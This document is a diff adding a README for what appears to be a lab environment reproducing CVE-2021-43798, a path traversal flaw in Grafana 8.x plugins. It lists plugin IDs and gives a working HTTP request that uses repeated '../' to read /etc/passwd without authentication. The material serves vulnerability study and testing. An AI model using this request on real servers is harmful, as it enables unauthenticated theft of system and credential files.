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+# Grafana 8.x Plugin Module File Path Traversal (CVE-2021-43798)
+
+[中文版本(Chinese version)](README.zh-cn.md)
+
+Grafana is a multi-platform open source analytics and interactive visualization web application.
+
+In December 2021, a Twitter user disclosed a 0day vulnerability, that unauthenticated attackers could use this vulnerability to step up web path and download arbitrary files through a craft url of Grafana 8.x.
+
+References:
+
+- https://grafana.com/blog/2021/12/07/grafana-8.3.1-8.2.7-8.1.8-and-8.0.7-released-with-high-severity-security-fix/
+- https://twitter.com/hacker_/status/1467880514489044993
+- https://nosec.org/home/detail/4914.html
+- https://mp.weixin.qq.com/s/dqJ3F_fStlj78S0qhQ3Ggw
+
+## Vulnerable environment
+
+Execute following command to start a Grafana server 8.2.6:
+
+```
+docker compose up -d
+```
+
+After the server start, you can browse the login page at `http://your-ip:3000`, no credential for this vulnerability.
+
+## Exploit
+
+The vulnerability is caused by plugin module, which is able to serve the static file inside the plugin folder. But for lock of check, attacker can use `../` to step up from the plugin folder to parent foler and download arbitrary files.
+
+To exploit the vulnerabilty, you should know a valid plugin id, such as `alertlist`, here are some of common plugin ids:
+
+```
+alertlist
+cloudwatch
+dashlist
+elasticsearch
+graph
+graphite
+heatmap
+influxdb
+mysql
+opentsdb
+pluginlist
+postgres
+prometheus
+stackdriver
+table
+text
+```
+
+Send following request to retrieve the `/etc/passwd` (you can replace the `alertlist` with any valid plugin id):
+
+```
+GET /public/plugins/alertlist/../../../../../../../../../../../../../etc/passwd HTTP/1.1
+Host: 192.168.1.112:3000
+Accept-Encoding: gzip, deflate
+Accept: */*
+Accept-Language: en
+User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
+Connection: close
+
+
+```
+
+![](1.png)